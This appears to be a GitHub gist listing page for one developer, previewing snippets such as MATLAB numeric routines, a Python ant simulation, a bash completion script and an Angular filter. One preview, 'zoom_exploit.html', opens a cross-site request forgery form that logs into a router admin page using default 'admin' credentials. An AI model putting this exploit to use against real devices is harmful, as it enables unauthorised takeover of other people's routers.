Skip to content

Instantly share code, notes, and snippets.

@dmadisetti
dmadisetti / FancyFunction.m
Last active October 1, 2015 05:37
Linear Algebra Bonus Question
% The Question in Question-
% Find a polynomial p(t) such that p(n) and the derivative p'(n)
% are both equal to n for n = 1, 2, 3, 4, and 5.
% 'degree' is the largest n we want this to be true for
% Loses precision around degree = 8
function ans = FancyFunction(degree)
% Max power we're raising a particular degree to.
% There are degree * 2 equations for any solution.
% As 0 based, - 1
import java.util.Map;
import java.util.Arrays;
// Our constraints
int MAX = 100;
int MIN = -10;
int SUM = 60;
// IO
PrintWriter output;
@dmadisetti
dmadisetti / file
Last active August 29, 2015 14:25
Buffer overflow curiosity

@dmadisetti
dmadisetti / ants.py
Last active August 29, 2015 14:17
Monte Carlo to determine number of steps it takes an ant to return around a prism
import random
global pointer, A
class State:
# Keep paths with obj scope
def __init__(self):
self.paths = []
# Path class for tidiness
class Path():
@dmadisetti
dmadisetti / .bash_projectcomplete
Last active August 29, 2015 14:15
Autocompletion script for managing github projects
#!/bin/bash
# Make sure you source this in rc
# Encapsulate everything since I don't feel like making an extra script
gh(){
local folder="/home/dylan/projects/github" \
archive="/home/dylan/projects/archive" \
regex="[a-zA-Z]+[a-zA-Z0-9_-]*" \
USERNAME="dmadisetti" \
@dmadisetti
dmadisetti / zoom_exploit.html
Created February 4, 2015 03:40
Zoom Exploit
<!-- First form logs us in -->
<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">
<input type="password" name="loginUsername" value="admin">
<input type="password" name="loginPassword" value="admin">
<input id='btnLogin' type="submit" value="Login">
</form>
app.filter('parseUrl', function() {
var //URLs starting with http://, https://, or ftp://
replacePattern1 = /(\b(https?|ftp):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gim,
//URLs starting with "www." (without // before it, or it'd re-link the ones done above).
replacePattern2 = /(^|[^\/])(www\.[\S]+(\b|$))/gim,
//Change email addresses to mailto:: links.
replacePattern3 = /(\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6})/gim;
return function(text, target, otherProp) {
if(!text) return;
@dmadisetti
dmadisetti / hxckz.sh
Last active July 5, 2025 12:22 — forked from bavardage/gist:939140
Google Docs Hack
#!/bin/sh
# Short script to auto format on save
MATCHING=false;
press(){
xte "$1";
if [ "x" = "$2x" ]; then
sleep 0.05;
@dmadisetti
dmadisetti / spam.js
Last active January 26, 2021 21:01
dropcanco
dick="Call me Ishmael. Some years ago--never mind how long precisely--havinglittle or no money in my purse, and nothing particular to interest me onshore, I thought I would sail about a little and see the watery part ofthe world. It is a way I have of driving off the spleen and regulatingthe circulation. Whenever I find myself growing grim about the mouth;whenever it is a damp, drizzly November in my soul; whenever I findmyself involuntarily pausing before coffin warehouses, and bringing upthe rear of every funeral I meet; and especially whenever my hypos getsuch an upper hand of me, that it requires a strong moral principle toprevent me from deliberately stepping into the street, and methodicallyknocking people's hats off--then, I account it high time to get to seaas soon as I can. This is my substitute for pistol and ball. With aphilosophical flourish Cato throws himself upon his sword; I quietlytake to the ship. There is nothing surprising in this. If they but knewit, almost all men in their degree, some t
@dmadisetti
dmadisetti / newtonRaphson.m
Created September 15, 2014 18:49
newtonRaphson
% Third stab at matlab
function out = newtonRaphson(funct,old)
delta = 0.001;
y = funct(old);
m = (funct(old+delta)-y)/delta;
new = (m*old-y)/m;
apprx = funct(new);